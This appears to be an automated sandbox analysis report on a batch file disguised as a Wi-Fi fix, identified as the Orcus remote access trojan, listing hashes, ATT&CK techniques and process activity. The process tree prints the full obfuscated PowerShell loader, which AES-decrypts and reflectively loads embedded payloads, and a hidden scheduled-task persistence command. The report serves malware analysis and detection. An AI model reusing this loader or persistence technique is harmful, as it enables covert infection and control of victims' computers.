orcus | 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

Analysis

max time kernel
143s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
23/04/2024, 13:04

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General

Target

wlanfixer.bat
Size

3.5MB
MD5

45730c9d81cdc2677ea2bd082eb79edb
SHA1

7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA256

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512

d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP

49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d

Score

10^/10

orcus rat spyware stealer

Malware Config

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral3/memory/2548-54-0x0000023670660000-0x000002367095A000-memory.dmp	orcus

Blocklisted process makes network request 11 IoCs

flow	pid	Process
35	2548	powershell.exe
41	2548	powershell.exe
55	2548	powershell.exe
56	2548	powershell.exe
60	2548	powershell.exe
70	2548	powershell.exe
71	2548	powershell.exe
74	2548	powershell.exe
88	2548	powershell.exe
89	2548	powershell.exe
90	2548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2104	powershell.exe
2104	powershell.exe
804	powershell.exe
804	powershell.exe
804	powershell.exe
2548	powershell.exe
2548	powershell.exe
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	804	powershell.exe
Token: SeIncreaseQuotaPrivilege	804	powershell.exe
Token: SeSecurityPrivilege	804	powershell.exe
Token: SeTakeOwnershipPrivilege	804	powershell.exe
Token: SeLoadDriverPrivilege	804	powershell.exe
Token: SeSystemProfilePrivilege	804	powershell.exe
Token: SeSystemtimePrivilege	804	powershell.exe
Token: SeProfSingleProcessPrivilege	804	powershell.exe
Token: SeIncBasePriorityPrivilege	804	powershell.exe
Token: SeCreatePagefilePrivilege	804	powershell.exe
Token: SeBackupPrivilege	804	powershell.exe
Token: SeRestorePrivilege	804	powershell.exe
Token: SeShutdownPrivilege	804	powershell.exe
Token: SeDebugPrivilege	804	powershell.exe
Token: SeSystemEnvironmentPrivilege	804	powershell.exe
Token: SeRemoteShutdownPrivilege	804	powershell.exe
Token: SeUndockPrivilege	804	powershell.exe
Token: SeManageVolumePrivilege	804	powershell.exe
Token: 33	804	powershell.exe
Token: 34	804	powershell.exe
Token: 35	804	powershell.exe
Token: 36	804	powershell.exe
Token: SeIncreaseQuotaPrivilege	804	powershell.exe
Token: SeSecurityPrivilege	804	powershell.exe
Token: SeTakeOwnershipPrivilege	804	powershell.exe
Token: SeLoadDriverPrivilege	804	powershell.exe
Token: SeSystemProfilePrivilege	804	powershell.exe
Token: SeSystemtimePrivilege	804	powershell.exe
Token: SeProfSingleProcessPrivilege	804	powershell.exe
Token: SeIncBasePriorityPrivilege	804	powershell.exe
Token: SeCreatePagefilePrivilege	804	powershell.exe
Token: SeBackupPrivilege	804	powershell.exe
Token: SeRestorePrivilege	804	powershell.exe
Token: SeShutdownPrivilege	804	powershell.exe
Token: SeDebugPrivilege	804	powershell.exe
Token: SeSystemEnvironmentPrivilege	804	powershell.exe
Token: SeRemoteShutdownPrivilege	804	powershell.exe
Token: SeUndockPrivilege	804	powershell.exe
Token: SeManageVolumePrivilege	804	powershell.exe
Token: 33	804	powershell.exe
Token: 34	804	powershell.exe
Token: 35	804	powershell.exe
Token: 36	804	powershell.exe
Token: SeIncreaseQuotaPrivilege	804	powershell.exe
Token: SeSecurityPrivilege	804	powershell.exe
Token: SeTakeOwnershipPrivilege	804	powershell.exe
Token: SeLoadDriverPrivilege	804	powershell.exe
Token: SeSystemProfilePrivilege	804	powershell.exe
Token: SeSystemtimePrivilege	804	powershell.exe
Token: SeProfSingleProcessPrivilege	804	powershell.exe
Token: SeIncBasePriorityPrivilege	804	powershell.exe
Token: SeCreatePagefilePrivilege	804	powershell.exe
Token: SeBackupPrivilege	804	powershell.exe
Token: SeRestorePrivilege	804	powershell.exe
Token: SeShutdownPrivilege	804	powershell.exe
Token: SeDebugPrivilege	804	powershell.exe
Token: SeSystemEnvironmentPrivilege	804	powershell.exe
Token: SeRemoteShutdownPrivilege	804	powershell.exe
Token: SeUndockPrivilege	804	powershell.exe
Token: SeManageVolumePrivilege	804	powershell.exe
Token: 33	804	powershell.exe
Token: 34	804	powershell.exe
Token: 35	804	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2548	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3292 wrote to memory of 2104	3292	cmd.exe	88
PID 3292 wrote to memory of 2104	3292	cmd.exe	88
PID 2104 wrote to memory of 804	2104	powershell.exe	93
PID 2104 wrote to memory of 804	2104	powershell.exe	93
PID 2104 wrote to memory of 2372	2104	powershell.exe	99
PID 2104 wrote to memory of 2372	2104	powershell.exe	99
PID 2372 wrote to memory of 5080	2372	WScript.exe	101
PID 2372 wrote to memory of 5080	2372	WScript.exe	101
PID 5080 wrote to memory of 2548	5080	cmd.exe	103
PID 5080 wrote to memory of 2548	5080	cmd.exe	103

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_926_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_926.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:804
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_926.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_926.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Roaming\startup_str_926.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ee6f5f5e5924783870aeedeccdafe9da

SHA1
0e12ede20df5ec37f2bf3608ad1bc9b4649450fd

SHA256
ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416

SHA512
998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a3emuk02.ahd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_926.bat

Filesize
3.5MB

MD5
45730c9d81cdc2677ea2bd082eb79edb

SHA1
7ece7b975ab6506d83dac94f685e2cedbe56dd6b

SHA256
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

SHA512
d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_926.vbs

Filesize
115B

MD5
0c070f035dc9400e53fb8f401076a6e2

SHA1
66f2478a0670c0d2f98ed66be3a24b598b893987

SHA256
e23d79ffd4a81dc6034e8e3e65b18f52b3f8b82ffa45ce8ff6c4f7cbab02855a

SHA512
2c8c8ead67ddd59b93f33ad85e769c1fd8d8a216b012becd362276db7659df97bc3085494d1e641b82752f2c277e7fe2b2bf5d56c40bdcf45727ff53ec9e54a8

Download Submit
memory/804-16-0x00007FF8F6590000-0x00007FF8F7051000-memory.dmp

Filesize
10.8MB

Download
memory/804-22-0x000001F269950000-0x000001F269960000-memory.dmp

Filesize
64KB

Download
memory/804-23-0x000001F269950000-0x000001F269960000-memory.dmp

Filesize
64KB

Download
memory/804-28-0x000001F269950000-0x000001F269960000-memory.dmp

Filesize
64KB

Download
memory/804-31-0x00007FF8F6590000-0x00007FF8F7051000-memory.dmp

Filesize
10.8MB

Download
memory/2104-14-0x0000023779D40000-0x0000023779FE8000-memory.dmp

Filesize
2.7MB

Download
memory/2104-13-0x0000023755910000-0x0000023755918000-memory.dmp

Filesize
32KB

Download
memory/2104-12-0x0000023757730000-0x0000023757740000-memory.dmp

Filesize
64KB

Download
memory/2104-11-0x0000023757730000-0x0000023757740000-memory.dmp

Filesize
64KB

Download
memory/2104-10-0x00007FF8F6590000-0x00007FF8F7051000-memory.dmp

Filesize
10.8MB

Download
memory/2104-0-0x00000237577F0000-0x0000023757812000-memory.dmp

Filesize
136KB

Download
memory/2104-53-0x00007FF8F6590000-0x00007FF8F7051000-memory.dmp

Filesize
10.8MB

Download
memory/2548-50-0x0000023665F30000-0x0000023665F40000-memory.dmp

Filesize
64KB

Download
memory/2548-58-0x0000023670970000-0x0000023670988000-memory.dmp

Filesize
96KB

Download
memory/2548-45-0x00007FF8F6590000-0x00007FF8F7051000-memory.dmp

Filesize
10.8MB

Download
memory/2548-54-0x0000023670660000-0x000002367095A000-memory.dmp

Filesize
3.0MB

Download
memory/2548-56-0x000002364DE00000-0x000002364DE0E000-memory.dmp

Filesize
56KB

Download
memory/2548-55-0x000002364DC30000-0x000002364DC8C000-memory.dmp

Filesize
368KB

Download
memory/2548-57-0x0000023670960000-0x0000023670972000-memory.dmp

Filesize
72KB

Download
memory/2548-51-0x0000023665F30000-0x0000023665F40000-memory.dmp

Filesize
64KB

Download
memory/2548-59-0x0000023670990000-0x00000236709A0000-memory.dmp

Filesize
64KB

Download
memory/2548-60-0x0000023665F30000-0x0000023665F40000-memory.dmp

Filesize
64KB

Download
memory/2548-61-0x00007FF8F6590000-0x00007FF8F7051000-memory.dmp

Filesize
10.8MB

Download
memory/2548-62-0x0000023665F30000-0x0000023665F40000-memory.dmp

Filesize
64KB

Download
memory/2548-63-0x0000023665F30000-0x0000023665F40000-memory.dmp

Filesize
64KB

Download
memory/2548-64-0x0000023665F30000-0x0000023665F40000-memory.dmp

Filesize
64KB

Download